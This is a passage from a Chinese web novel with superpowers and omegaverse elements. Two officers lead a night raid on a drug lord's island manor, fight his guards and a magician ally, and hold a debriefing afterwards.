管理局相信唐枯木绝对知道今天会来抓捕他,同样的,管理局也明白唐枯木绝不会束手就擒。 头盔上战术单片镜里出现了唐枯木庄园的详细地图,甚至有光谱分析。 时间来到傍晚七点。 高空乱流肆虐,阴云越来越低,几乎要垂到树冠。 “行动。”季长岁说。 庄园门口左右各站一名保安,魁梧如熊,看起来像是欧美Alpha的身形。在季长岁发动信号后,几乎是通讯器信号传输到每个组员耳机里的同时,季长岁脚步轻如猫爪,悄无声息地靠近。 季长岁从保安侧后方轻盈的环绕步,鬼魅现形般陡然出现在昏暗的空气中。那壮汉的反应已经足够快,但季长岁更快一步!第一拳上勾拳击其下颚,致使此人无法第一时间发出声音!紧接一左摆拳抡在太阳穴,上前一步提膝直击前胸,季长岁的爆发力可见一斑,格斗家对人体了如指掌,他在确保每一次重击的同时都令此人无法呼救。 几步之隔,旁边周观逸的选择与他异曲同工。周观逸是枪带勒颈,直接手捂住另一个保安的嘴,踹膝窝迫使其跪地,一枪托击其后脑勺,人昏在地上。 墙头两个监控的工作灯闪烁在一个不太正常的频率里,它被季长岁设置成了播放录像而非实时监控。 不算明亮的照明,在繁美的庄园大门前,两个肃穆军装覆面的男人对视一眼,同时点头。 环绕式突击走正门的人必然最危险。 庄园主楼4楼书房里,唐枯木正在听着部下的汇报。 “先生,大约五分钟前,正门被突破了。” 唐枯木摩挲着拇指上的族徽戒指:“先全都放进来吧,进来一起解决。” “明白。”部下说。 空气的味道很潮湿,庄园里这季节开着季长岁认不出品种的花,它们很像玫瑰,除此之外他不再有多一点的认知。 “是故意放我们进来的。”季长岁说。 “他不像是拒捕这么简单,只是死到临头想多杀点警察。”周观逸和他靠在外墙墙根处,“他明白我们必须捉他活口,所以他可以动用全部火力。” 季长岁明白他话里的意思:“你带人从窗户进去,我从外墙爬到二楼。” “确定?”周观逸问。 “叫外面的高位狙掩护我。” “……”周观逸有点不想这么做。但季长岁的判断很正确,多层楼作战里最好是相隔楼层一起控制。 季长岁已经把鞋尖钉推了出来:“放心,我没那么容易死。” 说完,他又看了眼周观逸。因为只有眼睛露在外面,他又是一双黑瞳,周观逸看入神了些。他说:“记住了吗?掩护我。” “明白。” 季长岁抬头看了看二楼窗户透出来的暖色灯光,整个人一跃起,战术手套的特制材料和鞋钉让他如壁虎般黏在外墙。同时,他驱动了异能,手掌和眼尾慢慢淌出蓝光。 接着,整个主楼被切断电源。 所有人按计划行动。 周观逸从一楼进,冲进来的同时双方立刻开火。现代突击步枪在自动模式下只要扛得住后坐力,那么多么强的火力,军火商都能给你做出来。 显然,对方的军火商更放得开手脚。 周观逸听见二楼同样有开火声,季长岁爬上二楼后,另一组组员也跟着翻进二楼进行环绕包围。 “RadioCheck,”周观逸说,“一楼交火。” 他没听见季长岁的声音。找掩体、换弹,探身出来继续扫射。周观逸手里这把416也是军区改良般,他体能优异,这把步枪的自动模式让一个普通人来扫射,或许会震碎锁骨。 从主楼外看,原本是灯光,眼下成了步枪枪口迸出的火光。 火力碾压的一楼很快清扫完成,周观逸带人上楼,同时在通讯器里交待路径:“东南楼梯上到二楼,楼梯口安全吗?” 没有回音……他不管了,自己打头冲上去。 “季长岁?”周观逸又问。 仍没有回音。不仅季长岁没有,整个二楼静得诡异,周观逸意识到自己的耳边萦绕的回声是一楼交火的残音。 身后有组员提醒他:“有点不对劲,没声儿。” 周观逸停在东南楼梯口,夜视模式下,他看见楼梯上来的墙上挂着一幅鲍德温一世。此人是十字军东征的领袖,也是第一个耶路撒冷国王。 黑/帮头目信教者不在少数,甚至宗教也是他们控制人心的方式之一。 二楼一片狼藉,地上躺着的伤员敌我都有,周观逸没有回头,只向后打了两个收拾。意为,两人拖走我方伤员,其余人继续推进。 建筑内作战时,伤员如果不带走,或沦为人质或直接被击杀。两个组员架走伤员,所有人一言不发,紧跟在打头的周观逸身后。 周观逸就这样首当其冲,他会吸收大部分迎面而来的打击力,长官打头可以稳固军心。不过此时,他更希望第一时间看到季长岁的情况。 楼梯转角进入第一个客厅,角落里一个抱着膝盖瑟瑟发抖的女仆在轻声诵经。这是个会客厅,迎面第一眼看见的墙上挂着十字架。女仆诵经时,手在胸口画十字,上下右左,东正教。 周观逸和组员贴墙继续推进。会客厅的另一个出口在十字架右侧,对开门,打开了一半。周观逸走到门边,手指搁在扳机,肩膀贴门。眨眼的时间,侧身探出同时举枪,面门上一个白人壮汉,满脸是血,直直迎着周观逸的面门倒过来—— 周观逸后撤半步,枪没放下。 “是我。” 声音没有从通讯器里来,是面对面的,带着微喘的气音。 白男面向下倒地后,露出他背后双眼如冷兵器的季长岁。他防弹衣没了,手里没枪,覆面堆在脖子上,头盔也没了。 周观逸眼睛看向他身后。 那是个铺着漂亮地毯的走廊,优雅的蛇形设计,地上横七竖八倒着和方才男人体型差不多的壮汉。 季长岁说:“这里有个秩序异能者,躲起来了,有个结界异能者在保护他。” “那你的枪……?”周观逸问。 “什么狗屁‘和平’异能,枪不见了。”季长岁拿手背抹了下颧骨,“可能被扔在哪里,总之刚一直在徒手格斗,要么把他净化掉,要么换冷兵器。” 话音刚落,一股磁力般的力量将所有人手里的枪械“吸”到走廊中间,那被切断电源的吊灯晃了晃,水晶装饰物发出叮当脆响。 “时间赐予我们和平。”声音空灵,无法分辨男女,“时间会让我们和平地湮灭。” 同时,四楼书房。 唐枯木拄着拐杖站起来,他的机体年纪维持在64岁,所以其实他的身体能够自主行走,并不依赖拐杖。 可大约是三年前……或者五年前,他的意识觉得自己无法走路,甚至感觉自己的牙齿在脱落。 唐枯木走到书柜前,那是个玻璃门书柜,他目光平视的位置里有一张照片。 因为没有电力,他身边的侍从举着烛台。 不同于墙上的那些大型全家福合照,这张照片没有相框,就一张照片靠在那儿。 照片里是个年轻警察,笑得灿烂夺目。 那警察旁边还有个少年,样貌俊俏,抱着一把冲锋枪。 第36章 第36章酒心巧克力,已经融化了…… “孩子长得一定很快吧。”唐枯木说。 他的声音听起来是浑厚有力而健康的,但语气却疲惫不堪,与他的名字相像,如枯木。 身边的侍从回应道:“这照片,已经十六、七年了。” 唐枯木听着,点头:“是啊。” 他的身体里装着相当苍老的灵魂,思维迟滞到无法想象“十六、七年”会让人发生怎样的变化。会长得多高,五官会不会长开,甚至经过十六、七年的成长是不是可以结婚生子了?他不清楚。 对这些世俗观念上的概念,唐枯木因为活得太久而丧失对时间的精确感知,有时需要细细盘算一下。就像现在,唐枯木“哦”了一声,说:“这个小的,现在该三十了。说不定,他都有孩子了。” 侍从说:“是啊。” “他到几楼了?” “刚刚清剿过二楼,先生。” “杀了他们吧。”唐枯木颤颤巍巍地转过身,离开书柜,坐回书桌,“杀了他们,带去地窖里烧干净,洒去海里。” “明白,先生。”侍从将烛台小心放在书桌上,向他垂下头,走向书房的门。 在那侍从走到门口时,唐枯木叫住了他:“或许在我生命里的某一天,你能将称呼从‘先生’改为‘父亲’。” 侍从没有回头,说:“先生,我不吸毒,从来到您身边的第一天我就说过。” 唐枯木笑了:“是的,我可能只是想要一个活着的孩子。” “那么,季长岁还杀吗?”侍从询问,“听说柯先生曾待他如亲子。” “杀吧。”唐枯木说,“杀他是对他施以仁慈,否则迟早如我一样,沦为魔术师的小丑。” “明白了,先生。” 三楼转角,伤员撤离后,除开季长岁和周观逸,只剩下五个人。 楼梯转角在室内作战行动中永远需要被重视,他们在这里稍微停了下来调整状态。 季长岁当务之急是要找出那个秩序异能者,“秩序”并不具备攻击力,并且他们的“秩序”与当下的伦理道德或法律不同,更像是地域差异与历史迭代而跟着发展的宗教条例,它们往往大同小异——信奉他们心中的神明,侍奉神的“传令官”,又因为生命由神赐予,人不得毁坏,故而反对一切形式的屠杀。 所以那些异能者会不分敌我地夺走人们手上的武器。 同样,这些条例之中的确会有纰漏,比如“手上”的武器也就是拿在手里的。 季长岁回头看了眼周观逸的大腿,果然,他腿环上的枪套里是有枪的,于是说:“我头一回碰见这种秩序异能者,被夺走一把枪就掏另一把枪,我手里没有武器了。” 周观逸刚想说匀他一把枪。季长岁紧接着说:“不过没关系,现在‘秩序’已经生效了,大家都拿不住枪。你听着,我在三楼搞定其他人,你们分散开去找出那个秩序异能者,净化也好杀了也好,搞定掉,我们需要热武器。” “明白了。”周观逸点头,“你小心点。” “放心。”季长岁说。 剩余行动人员在清剿庄园里的其他建筑,无线电中暂时没有传来消息,他们不知道外面的情况怎么样。 季长岁和周观逸都明白,时间一分一秒都不能浪费。周观逸和五名组员安静地等着季长岁将他们贴身医疗包里的绷带缠在手上,缠好后,季长岁定了定神,呼吸吐纳,闪步出去:“安全。” 众人迅速散开来,三楼有两个大厅,这个主厅中间摆一张很长的餐桌,主位背后有一幅几乎要高到天花板的油画。季长岁不认识它,但在季长岁对艺术品较为贫瘠的认知中,餐厅里好像不常悬挂圣殿骑士的战斗场景。 季长岁身上的军装比较松散,在二楼解决一整层楼的格斗型异能者时不知被撕扯去了哪儿。他踏着军靴,沿着长桌小心走着,餐厅里没有人,壁龛中的烛台没有点燃。 火光跃起的瞬间,季长岁浑身的皮肤仿佛要绷成盔甲。 长桌另一边的壁龛旁,穿麻布袍子的男人甩了甩火柴,他掀下兜帽,烛光中露出满是刀疤的脸。那些疤痕已经痊愈,如肉虫死在他脸上。 火柴棍被他搁在烛台旁边,侧过身来看着季长岁,说:“唐先生希望你今天死在这里。” 季长岁点头:“我理解,人都有梦想。” 侍从停顿了一下,继续脱掉他的麻布长袍:“我侍奉先生,他既然这么希望,那你就会死在今天。” 季长岁直接笑了,无法交流么这不是,于是继续点头:“行吧。” 侍从手掌撑桌面跃起,季长岁借着壁龛里微弱的烛火,看见桌面上没有摆餐具,也就意味着侍从不会抄起一把餐刀什么的。 在这个区域,餐桌对面壁龛里的烛台起不到什么作用,季长岁只能通过感知来判断侍从的拳从哪里来—— 侧头闪,季长岁后撤半步,侍从带过来的拳风震起了些他刘海。 太极单云手,季长岁抓握其手腕,通常这样的招式是防御,将出拳人推搡出去拉开安全距离,但季长岁的选择是把他拉向自己,提膝、肘膝连击。侍从绷着肌肉来承伤,挣脱手后直拳封喉,季长岁弯腰摇闪,撞翻一把椅子,侍从亦十分灵敏,同时有熟悉地形的优势。 季长岁抓起椅子往他头上抡,侍从攥住椅子腿改变其方向让它砸在桌面。季长岁的力道十足十,那做工精致的高靠背椅直接碎在桌面上,同时,带起的气流熄灭了蜡烛,餐厅再次陷入黑暗。 季长岁在看不见的状态下,其他感官会更敏锐。他能听见侍从的脚步,拳风甚至皮肤和衣服的摩擦。分明是在跟唐枯木的部下格斗,但季长岁打得越来越爽。他出汗了,飘出了尤加利味信息素。格挡、直拳、上勾拳,季长岁打得渐入佳境,甚至都有点忘了今天是一次行动任务而非八角笼畅玩。 他扣住侍从的脖子向下一拽,顶膝爆头! 这场搏斗,两人均没有发出太多声音。没有惨叫,没有哈气。像是游戏消除人声后只剩下拳拳到肉的钝响。 而季长岁这一顶膝爆头,侍从发出了痛苦的呻吟。面前人弓着腰一时没能站直起来,季长岁甚至恶劣地拍拍他肩膀以示宽慰,可他嘴上却说:“人有梦想是好事,但别这么钻牛角尖。” “呃——啊!!”侍从受到了侮辱,重新激起战斗欲望。 上勾拳击面,季长岁手上的绷带染了不少血污,好在环境昏暗,看不清晰,只有腥味。侧身闪过侍从的侧铡手刀,此时,季长岁已经把他逼至餐厅主位,圣殿骑士画像下方,那儿有个横台,上边摆了些装饰物。 侍从已经眼冒金星,也是在这个时候他才意识到季长岁和普通警员,甚至他所见过的高阶异能者都不一样。毋庸置疑的是,他也意识到了自己的傲慢。 “你……”侍从扶了一下身后窄窄的横台,“你只是柯帆的学生,怎么…比柯帆强这么多?” 季长岁对于此人知道柯帆并不意外,而是在拿起花瓶做武器往他头上砸,和将他脖子攥住向横台上磕之间,选择连续重拳。 他拿侍从当沙包了,出拳速度快出了残影,季长岁边打边回答:“你们搞错了,柯帆教我的内容,是压制住自己,别动不动就把人活活打死。” 黑暗里,已经无法反抗的侍从倏然眼睛抖了抖。 他好像明白了,但已经晚了。 另一边,周观逸和组员们悉数解决三楼的其他人,战术手电扫遍了这个厅,没有发现秩序异能者。而他不能贸然进行区域性净化,中阶异能者遭到净化的5到10秒甚至更久的时间里是僵直的,那样对友方人员很危险。 “部长。”组员有点担心,“警官那边……” “没事。”周观逸刚说完没事,便听见环形走廊的另一边,餐厅传出重击的“嘭嘭”声,人类躯体撞在墙上或什么硬物上。 没有人嚎叫,光用听的并不知道战况。周观逸压住自己的情绪,转头说:“两种情况,要么是秩序异能者故意在躲我们,要么这人藏得实在太好,如果我进行区域性净化,唐枯木手下的高阶异能者绝对会倾巢而出趁机解决我们。” 组员们表示理解,但其实他们只会服从,无论长官要怎么做,就算自己会是这次行动的牺牲品也没关系。 四楼,唐枯木撑着拐杖拿起烛台,慢吞吞走到窗边。他向下看,或是在向下听,因为这晚舫岛上空没有月亮,区域型断电,玻璃映出他不算苍老的脸和身后的烛光。 他眼里闪过了一些不可捉摸的情绪,老者听着三楼的动静,他与周观逸一样无法分辨这些声音之中谁占优势谁在挨揍。 餐厅里,在圣殿骑士的注视下,季长岁的鼻梁斜着一条血痕,他手上绷带绽开了几断,因为坠着血而比较沉。 两人的状态都不好,如残烛摇曳。 侍从吃力地抹了两下眼睛,他已经什么都看不见了,眼前全是血。季长岁则是左侧肋骨钝痛,不过尚能忍受,他觉得还好。 侍从看起来想要说点什么,但又因为胸腔痛得像被撕开扯烂,直接撕扯到喉咙,他只能张嘴而无法出声。 季长岁低头拽掉防止挫伤的绷带,呼出一口气。 侍从只能发出一些气球漏气的“呜呜”声,季长岁有点失望,他随手扔掉那些绷带,接着,他走到餐桌边,拿起方才砸碎的椅子之中一根木棍。因为是断裂开来,截面乱七八糟,有尖端。 季长岁再次转头,侍从恍惚间看见他笑了下。 事实上季长岁的确笑了,如果赵胜在这里,他可能会对这笑容有些印象。 侍从的手在横台上一通乱摸,抓住了花瓶,那是个漂亮的玻璃花瓶,很窄,只插着两朵花。侍从感受到一股冰冷的恐惧感,那是本能带来的,就像是兔子看见俯冲而来的鹰。 “啪——!” 他抓住花瓶横砸在季长岁的太阳穴,季长岁纹丝不动,几行血水从额角淌下来。 侍从不知道自己为什么要这么做,在季长岁扯掉绷带,扔掉,再拿着木棍向自己走来的时候,他觉得自己要死了。 可是,那一花瓶甩过去后,季长岁居然没有反击。 季长岁叹了口气,他先将手里木棍搁在餐桌的角上,接着他做了件侍从根本不理解的事情。 他从口袋里摸出了一颗巧克力,酒心巧克力,已经融化了。 所以周观逸赶过来后,手电的光照过来,他看见季长岁撕开了巧克力包装,棕色的液体从他指尖很快淌到掌心。混合着他自己的血污,季长岁的舌尖从掌心舔上去,然后重重叹出一口气,转过头看向他:“部长,没失控,非常好。” 第37章 第37章回忆清空缓存,枯木等不…… 这颗酒心巧克力是周观逸在那个糖罐子里最喜欢的。 彼时他对季长岁了解得并不足够,递过去一颗巧克力是周观逸能想到、能做到最好的选择。 部长,没失控,非常好。 周观逸看着他左边额角有血顺着脸部轮廓向下淌,一直淌到下颚落去地上。不过相比起地上那个连话都说不出来的侍从,季长岁这个伤口简直是胜利者的勋章。 “过来。”周观逸说。 “等一下。”季长岁再次拿起木棍,他攥在手里,手掌心和木棍之间有黏腻而香甜的,融化成酱的巧克力以及酒心夹心液体混合着。 他说等一下,周观逸便停下脚步。他不知道现在季长岁的状态是不是真的“非常好”,就只能站在这里看着。 季长岁走到侍从面前蹲下来:“之前你说你侍奉唐枯木,你是他的什么人?” “我是先生的侍从。”他回答,“我没能杀你,那么你杀了我吧。” “搞这么极端?”季长岁拿不算干净的手背随便抹了下快要渗进眼角的血,“你我素不相识就要你死我活?” “我的生命属于……” “打住。”季长岁做了个“停”的手势,“这里不是热血动漫,我也不是你们那边的什么大反派,这种台词有点太浮夸。所以,唐枯木是从哪里得知昶州港口仓库里有一箱毒品?” 说完,季长岁补充:“当然,你可以不回答我,唐枯木本人就在楼上对吧。” 侍从眼见行将断气,却仍挤出一个微笑:“你是害怕抓不住他,才想从我嘴里问出些什么,对吗?” “……”季长岁叹气,这声气叹得非常明显,“所以说啊,人还是不能过于自信。” 季长岁站起来,他拿木棍并不是为了给他最后一击送他归西,他站起来后,把木棍立着搁在原本玻璃花瓶的位置。花瓶已经在地板上碎成了渣,木棍成为了它的替补。 侍从还不明白他这么做的意义,直到季长岁问:“找到了?” 周观逸答:“找到了。” 侍从先是不解,旋即一张惨烈的脸上浮出真正的,比惊恐更胆寒的表情。侍从立刻忍着痛苦,企图爬到季长岁脚边:“不…不……先生他只是奉命行事,他不是罪魁祸首……” 外边浓云渐渐散去,月光冷冷地从缝隙中一缕缕倾泻,恰好有一道光落在季长岁身侧,将他的影子伸向厅口。不知是不是周观逸的错觉,他感觉这道影子黑得有些过分。 “是吗。”季长岁慢条斯理地整理自己军装,战术腰带里空空荡荡,“其实一开始我们在昶州开会的时候预想到了很多场景,可能唐枯木会有结界异能者,防御类的,甚至我们也预设过这里搞不好会有特别稀有的‘堡垒’异能。结果你们非常、非常聪明,你们搞来了一个秩序异能者。” 季长岁又说:“聪明有点不够,应该说高明。结界会被打破,防御会被冲击,但秩序不会。你们有足够多的格斗家,有地形优势,拼火力肯定拼不过军警,搏击尚有生机,确实高明。” “秩序……不会被打破。”侍从颤抖着说。 “但我们有净化异能者。”季长岁笑了。下一刻,他从战术腰带后挂拽下来对讲,按住:“秩序异能者搞定了,自爆无人机炸掉四楼。” “不要——!”侍从的喉咙涌出鲜血,他手脚并用,“不要杀他——!” 震天的火光在暗夜中绽放开来,唐枯木的书房装修雅致,那套喝咖啡的桌椅是从欧洲那里运回来的。 唐枯木还记得,那些欧洲人高贵得不得了,都家道中落变卖家具了,还不忘告诉唐枯木——这些可不是买的,是继承来的。 自爆无人机向着书房窗户冲过来的时候照亮了整间屋子,他回头看向书柜里摆着的照片,柯帆和那个小的,柯帆笑得很灿烂,小的那个则板着脸非常严肃。 震天动地的爆炸让整栋楼晃了几下,天花板簌簌掉着灰尘和建材,中央的吊灯直接掉下来摔个稀巴烂。 失去“秩序”之后,这栋楼里热武器终于产生作用。书柜里的旧照片和房间里的一切同归于尽。 回忆清空缓存,枯木等不来春。 在爆炸的热浪袭来的那一刻,唐枯木仍死死盯着书柜里的照片,他在火光中伸手想要将它拿来手中。 “天哪。”一道苦恼的声音从唐枯木身侧响起,“你有时候真的太让我伤脑筋,你总是这样,吃着碗里的望着锅里的。见过了女儿,又想着外孙,没有这么好的事情,唐枯木,或者说,这么好的事情,不能总发生在你一个人身上,是不是?” “拉尔先生……”唐枯木转过头。 穿魔术师袍子的男人头戴礼帽,他就那样站在火里,帽檐遮住了眼睛,下半张脸白得像纸。自爆无人机炸出的火焰像是在他周身绕行无法贴近,加兹拉尔幽幽叹了口气,向他伸手:“好了,快过来吧,别真的死在这里,那样我会很……” “开火!” 这是唐枯木第一次看清加兹拉尔的眼睛。 飞来的自爆无人机并不是裹着炸药,而是燃烧/弹。它撞进来造成的爆炸是一个非常微型的震爆/弹,它的爆炸范围和强度都很弱,当然,只是类比其他炸药而言,它的强度是稍弱的,但对民用建筑而言依然是不小的冲击力。 所以造成了唐枯木必死的假象。 季长岁这边,支援而来的组员们统一口径的5.56北约弹步枪应他声音落地而齐齐扫射。 枪口迸出火焰,枪托后坐力如筋膜枪打在组员们肩膀,季长岁盯着火光正中的男人——恶作剧不具备杀伤力,那些诡谲多变的现象全都是障眼法,魔术师欺骗人眼玩弄人心的把戏。 所以季长岁明白,他定然是提前乔装早已潜伏在这里,要说瞬移,恶作剧无法像真正的瞬移异能者那样穿墙,所以他绝不是凭空出现。 短暂的眼神接触,季长岁看见加兹拉尔暗红色的眼睛。在季长岁下令开火之后,加兹拉尔用他的魔术师长袍立刻笼罩住唐枯木,他看见了季长岁,唐枯木也是。 唐枯木的眼睛看上去不属于这幅64岁的身躯,他的眼睛太苍老了。加兹拉尔踩下他脚边的按钮,一道15公分厚的合金防弹板从地面升起来,季长岁蹙眉,他手里没枪,而且这种厚度加特林过来扫都得扫上一阵子。 他回头:“部长,准备追,叫庄园外面的人警戒。” “明白。” 加兹拉尔跑不远,季长岁相当笃定。 舫岛四面环海,他不可能带着唐枯木跳海,大晚上跳海和自杀无异。季长岁转过身跟着组员跑下楼,他留了个心眼,让沈浪带两个人守在这里。 熊熊燃烧的四楼像是庄园里立着的一支火把。 众人的对讲机里不停交换着位置信息,侦察员们在使用异能时,躯体会不自觉地躬身前倾,是动物捕猎前追踪猎物时的本能动作。 季长岁从一个组员那儿拿了把步枪和几枚铝热剂燃烧/弹。 他们蹲守在庄园西侧的车位附近,周观逸的覆面已经被拽在脖子上,布料和他的下巴随着他调整枪械的小幅度动作磨蹭着。季长岁实在是忍不住了,他径直伸手,伸到一半发现自己手挺脏的,就停下了。 周观逸看着他伸过来又停的手,笑了下:“想干嘛?” “我想……”季长岁跟着笑了,“我想帮你把它拽了,这么堆着不难受吗。” “有点。”周观逸向着他手凑近了些,“帮我拽了吧。” 他们的军用覆面是在后脑勺有个锁扣,食指和拇指捏住两端,摁一下就开了。 季长岁看看自己的手:“好脏啊我这手。” “你得了吧,快点儿。”周观逸又凑了凑,“我手不能放,这枪有点问题,我抵着板机呢,松开它就走火。” 他手上乱七八糟的血腥味火药味还掺了些巧克力和酒味,后脑勺靠近腺体,并且经过这么久的高强度作战,两个人抑制贴的作用都有不同程度的损耗。 “好了。”季长岁把他的覆面摘下来,四下又看了看,没有什么异动。 在侦察员反馈情况之前,他们只能在这里等着。 海岛的春夜凉飕飕的,还未正式入夏,蚊虫并不多。那四楼书房还在烧着,季长岁看了看火势,又观察了下风向,一时半会儿烧不到林子,还远着。 “季警官。”周观逸扯了一点贴身装着的巴掌大的医疗包里的纱布卷,先团了一点儿塞到他枪板机空档里抵着,说,“过来我给你处理一下伤口。” “没事不疼。”季长岁摇摇头,“也不流血了。” 高阶异能者确实很耐造,周观逸自己也一样。他把枪背到后边,挪了两步,站到季长岁面前:“清理一下伤口吧,他拿玻璃瓶砸的吗?” “嗯。”季长岁垂着眼,他垂下眼睛时看起来很沮丧。 周观逸打开自带碘伏的棉签,掰了下尾端,药液从杆儿中间淌下来,很快浸湿了棉签。他手轻轻撩开季长岁额角的头发:“你怎么不躲?你躲得开的。” “我……”季长岁皱眉,其实没有多强烈的痛感,但似乎皱眉头是一个正常人该有的反应,所以他这么做了。 “说。”周观逸很稳地继续顺着他额头那挫伤周围擦着,“为什么不躲?” “我害怕。”季长岁坦白,“我可以杀他,但不能是失控状态下杀他,必须要给我来一下子让我冷静。” “以后想想别的办法。”周观逸后撤一步,看着他眼睛,“用痛感来扼制不是长久之计。” 季长岁还未来得及回应,倏地,他偏过视线,精准如看靶一般看向黑洞洞的庄园外丛林中的一个点。他手比嘴巴快,来不及从背后取枪,直接拽走周观逸后腰的复合弓—— 一箭破空而去! 周观逸当即明白他发现了动静……片刻后,一顶黑色礼帽被箭矢钉在枝桠上。 第38章 第38章周观逸清了清嗓子,坐直…… “箭术不精,但枪法很好。”柯帆带着兴奋的语气向唐枯木介绍身边的孩子,“祖父,这孩子刚9岁,基因库安全员说以后很有可能会分化为Alpha,我想送他去总军区少年班,可是他异能苏醒得太早,稍微不太能控制,您能不能……” “不能!”唐枯木的手杖狠狠戳在地板上,咚一声,“你三年回来一次,就为了这个?他究竟是谁?你在外面生的野种吗?” 柯帆无语地偏开头,咬了咬牙:“他是我战友的儿子,他们夫妻都死在了萨奥战役,请您有一点基本的尊重。” 萨奥战役是前些年一次爆发在边境小城萨奥镇的对外自卫战,听见这件事,唐枯木的眼神缓和了些,可转而又说:“那又怎么样!你和你母亲一个德行,只当我是个工具,需要我了回来看一看,你母亲带回你父亲,要求我接纳他,在我们家的户口添上他的名字,以便于你父亲进修那个什么警官课程,真是可笑!” 每年唐枯木都要用这些话数落柯帆。这些事情柯帆并不知道,并且都是唐枯木一面之词,尽管他话中没有说谎,那么也无法避免掐头去尾断章取义的可能性。但也因为柯帆不知道当初究竟发生了些什么,加上唐枯木将他从小养到大,吃穿不愁,柯帆尽量不去顶嘴。 “祖父。”柯帆按着9岁小孩的肩膀,“他真的是难得的,天赋异禀的孩子,总军区少年班不接受过早苏醒异能的孩子,除非他学会自控,我知道您认识一位非常厉害的拉尔先生,他可以辅助异能者不是吗?或许拉尔先生能帮帮我们,这孩子如果能加入总军区,未来必定有所建树。” 唐枯木冷笑了几声。 那天季长岁完全搞不清状况,机械异能者在幼年阶段……好吧或许会延伸到少年阶段,他们因这项异能所带来的天然的影响,而无法像普通孩子那样读懂大人的情绪。除开非常明显的凶、开心、大哭,他们无法感受,也无法理解那些比较复杂的情绪。 比如唐枯木的无语,柯帆怒火中烧却不能发作,最后还必须以礼节和养育之恩为大,带着他向唐枯木颔首道别。 有时候柯帆也很感激季长岁的异能,因为他带着季长岁父母的死讯从边境回来,将这场死亡尽量描述得伟大而绚烂,为国捐躯、荣耀之死、英勇杀敌。季长岁一度非常为父母而骄傲,没有那么悲恸。 是到后来,大约13、14岁,季长岁才恍然,失去爸爸妈妈这件事,从人类常规上的表现来看,他应该痛不欲生。 可临到那时,事情已经过去将近七年。他甚至都模糊了对父母的记忆,本就是双军人家庭,他小时候和父母在一块儿的时间少得可怜。但也是在那个时候他才明白,这和共处时间…虽然也有关联,可是血脉的意义非同小可,那意味着这个小孩从那一刻起,生命中再也没有爸爸妈妈。 然而直到那个时候,季长岁明白了这一切之后,他仍然无法感受到自己心底里那种“合理”的悲戚。 他问过柯帆,自己这样对吗? 柯帆坚定地告诉他,这种事情没有对错,你感受到了什么,就是什么。 在那之后的很多年里,季长岁没有再见到唐枯木,甚至其实那一次短暂的,不超过十分钟的见面,早就被季长岁忘光了。 所以再次直面唐枯木,他内心还是比较微妙。 舫岛一处私人海湾,最近几年的夏天富商们在这里搞悬崖跳水。春夏青黄不接的夜里,魔术师和他身旁歪斜着撑着拐棍的唐枯木被管理局以射程距离慢慢包围靠近,从高空俯瞰,像是缓慢地在吞噬着什么。 所有人都知道加兹拉尔没有硬实力只有小把戏,但这点“小把戏”能把他们所有人搞得团团转,全员谨慎对待。季长岁更甚,周观逸看着他换弹,明明是一套肌肉记忆的流程,在他手里生生换出了解构主义叙事感。周观逸想跟他说你别紧张,他已经子弹上膛,顺便摸了一把后腰上素有“手腕终结者”的优雅沙鹰。 加兹拉尔最擅长的是逃生魔术,水下、兽笼、手铐锁链甚至什么通着电的网,像茧那样缠住,他通通来去自如。 可现在……季长岁慢慢呼出气,他跟着行动人员们一起慢慢靠近那悬崖边。现在,这里不是锁死的橱柜,也不是困兽的铁笼,理论上没有任何束缚,但这种地方才是魔术师最害怕的。 他没有遮蔽,无所遁形。 季长岁走到他们面前大约三米,停下。加兹拉尔的头发花白,中年人的身形,脸型较长。因携带着唐枯木逃跑比较费劲,他的黑袍子领口那儿豁了一边下来,毫无遮挡失去神秘感的魔术师仓皇狼狈。季长岁在二者之间,先看向唐枯木:“你看起来真是一点没老。” 唐枯木的脚有些跛,他站稳了些,没有回应季长岁的话,而是说:“柯帆的死,我不怪你。” 季长岁笑了:“你这话留给你旁边的人说。” “柯帆为你做过很多事。”唐枯木说,“当初如果我答应他的要求,把你送去总军区少年班,可能今天就不会沦落至此。” “我说了。”季长岁冷眼看着,“这话留给他。” 在场的人里有的对季长岁的过去略知一二,有的毫不知情。周观逸和他之间隔了一些人,无法看清他的表情。不过季长岁并没有打算跟他们在这里对峙太久,他上前一些:“唐枯木,你涉嫌贩卖毒品、走私军火、纠集异能者……总之就是那些,你被捕了。” 说完,他看向魔术师:“加兹拉尔,你有能力从异能者研究组织逃出来,在外潇洒这么久,偏偏愿意为了唐枯木而……暴露自己,为什么?” 这件事很蹊跷。擅长逃生的魔术师确实很难抓捕,因为他从不让自己暴露在人们的视野中,行踪诡异,让人觉得神秘莫测,实则只是因为每一次他打出的都是安全牌。 而这次,他出现了。为了唐枯木而暴露自己——季长岁眼里带着意味深长的,咂摸不清的笑意,等着加兹拉尔回答。 这位非常聪明的魔术师能够落网,那么一定是有什么东西比自己的安危更重要。究竟是什么比他自己更重要,这个要素管理局一直没能推测出来,加兹拉尔一直以来给他们的印象是不在乎任何人任何事,一个利用毒品来控制他人为己所用的人,还能在乎谁呢。 他们试过很多人,赵胜不是,卢翠两口子不是,风炉大道上逮捕的那些毒贩也不是。 结果竟是唐枯木。此时加兹拉尔眼神中没有太多惊慌,也没有筹谋着怎么逃跑,而是坦然的。他扶了一把唐枯木,说:“这里不是城市,也没有山林,他们里三层外三层,跑不了了。” 唐枯木没有作声。 加兹拉尔看向季长岁:“勇士,你成功屠龙了。但这个故事很有意思,屠龙者终成恶龙,你听说过吗?” “你是个屁的龙。”季长岁说。 人群里周观逸压着嗓子轻笑了下。 所有魔术师都需要复杂的前期布局,这夜是个毫无准备的意外。但加兹拉尔必须出现,为了救唐枯木。 三天后,韩瑞顶着沉重的黑眼圈端着咖啡来到办公楼会议室。 加兹拉尔如他所愿关押在昶州,他被锁在审讯楼地下5层,整个楼层长期释放昏迷雾气,而唐枯木因为是无异能者,正在缉毒大队手里接受审问。 季长岁靠在椅背上静静看着韩瑞走进来,关上门。 会议室里没几个人,他、周观逸,几个下属。韩瑞坐下,顺了顺气,说:“唐枯木的问题太大了,他换了起码两次身份id,通过一些人脉关系解决了户口问题,他现在的年纪少说有90岁,这件事情暂时不能公开,缉毒大队那边不晓得能不能通融过去,隐瞒掉这一信息。” 季长岁一直很不爽韩瑞对各方遮遮掩掩:“为什么?按照事实公开不就好了。” “人怎么能不老呢?”韩瑞看着他,“这有违自然规律。” “但现在就是发生了啊。”季长岁一摊手。 对此周观逸赞同季长岁:“是的,事实就摆在眼前,这种情况是交与研究组织还是怎么办,它需要一个结果。” 